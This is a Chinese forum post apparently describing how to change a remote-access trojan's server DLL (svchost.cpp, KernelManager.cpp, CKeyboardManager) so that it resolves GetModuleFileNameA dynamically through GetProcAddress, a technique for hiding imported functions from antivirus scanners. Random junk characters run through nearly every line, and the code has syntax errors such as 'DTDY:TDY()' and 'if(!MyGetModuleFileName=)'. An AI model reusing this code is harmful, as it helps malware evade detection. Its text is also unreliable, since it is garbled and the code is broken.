返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
$ I+ [3 @  n, V2 qsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
" m! I. b, {  _0 J" a& V$ B) h----------------------------------------
& z# E. ]$ A, N7 A8 d3 Q. hDTDY.h:
3 ^' A6 z$ X, s& |& s9 Y$ Q- X, j0 L& q: V
#if _MSC_VER>1000; S7 B( K* L/ I* C$ `4 F
#pragma once
6 ?) L' B' T5 ?% V#endif //_MSC_VER>1000# N) g, o, c; J9 q  c" C) G
#include<windows.h>
! n) ^5 b8 v5 T. Y) _- y0 R  n! n) l* n9 T$ }- L( z
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);0 g( z- u$ `8 S& [7 t
class DTDY% J8 h9 ]+ f% i9 `- H& s1 Z  n
{4 o) M! ^& m/ L7 W- r
public:& l6 A5 C, \8 E, P
DTDY();0 R* b7 }" f, L9 k/ h
virtual ~DTDY();/ r6 F4 v; w4 v7 x0 q8 _$ ^) V
public:0 H6 c# n) T# C8 @! A7 r- b
static pGetModuleFileNameA MyGetModuleFileName;9 j% z, n; y8 s: ^
static BOOL FunInitiallization();+ \: B% I; a9 w
};
# v+ V, {' S: g/ L$ R#endif
/ j* d5 U& E$ h! Q----------------------------------------
$ `' S2 h+ o1 D4 k: b+ y# G5 e, i; H8 V$ V
DTDY.cpp:
* w% K- u6 U# O% U. s" q+ t. H* ~# s0 h/ [
#include "DTDY.h"7 O$ m- Y/ N0 V) Z1 N, }, j- J
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;6 r+ e- }9 A7 j# [
DTDY:TDY()
. x+ L5 K: F5 r& b{( ^- S. q7 h; q. |  G
}/ m' q3 e0 y. a. y6 n' P
DTDY::~DTDY()+ x  c; M/ X! f: t
{
, j5 Y& z/ X5 Y6 F}
4 B+ j9 t( `  S0 ?BOOL DTDY::FunInitiallization()
" x* ~3 E! g3 i( C( m/ @2 v{6 u4 T9 y) L. m2 w/ w
HMODULE hModule=LoadLibrary("kernel32.dll");2 z2 e9 U9 o% y, u/ S7 b% c. c: }) C
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
9 P' j+ s# M% ]6 ]/ v6 C' L* z+ ?if(!MyGetModuleFileName=) return FALSE;" I/ H; E: C+ q

& e0 C. \) z+ W  h, F) Y3 qreturn TRUE;
8 X! q$ d6 c$ R6 t3 \}& q4 L2 k  j5 N
----------------------------------------
( a6 O' p, S  K! A! @2 Rsvchost.cpp:
- F2 J# T" J1 o9 H3 H
5 l  _: K; q5 _2 L4 q' q/ o9 j#include "DTDY.h"; j0 I2 h. M7 r+ Y7 _
, e0 [+ T" F2 c9 M
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)# _4 w' O7 `5 E2 l5 m
{
5 N4 J7 Z1 x% X% \2 cswitch(ul_reason_for_call)
6 k' |- p8 I+ q. b{
  `5 q$ ~5 I- I) v8 |6 Q0 s: }; j' \case DLL_PROCESS_ATTACH:
- _6 ?8 a, R; Sif(!DTDY::FunInitiallization()) return FALSE;- u3 N# H0 \: S+ m& K6 ^
, q) ]7 O, o  J6 k8 B
break;+ n3 j& c% V* k5 c
}
. j2 ?4 ~7 x6 v. ~. ]$ ?) L0 ^% ]: n}
& m* a" G. M* c4 i3 z- O! R) V% k2 l5 O8 u5 o5 J  a

8 [/ H) \% m* v) EGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def. I- M4 E: G8 J* y
改写为# R1 P) A% M' I
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
' b/ x* F  i* a9 b( `: [----------------------------------------
+ p$ I  S- w3 c' u" C1 ^KernelManager.cpp:
! z8 _/ {7 ^, C0 T3 Z& ]" W
# n* c( j0 J/ b  ?9 o; q. P# u#include "../DTDY.h"1 {% f: w- ~7 _
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));( Z& u8 R: z4 l2 V. U
改写为4 P8 v( v8 O8 F+ h
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
* \5 [" j/ k+ ~  Q3 d8 M----------------------------------------

返回列表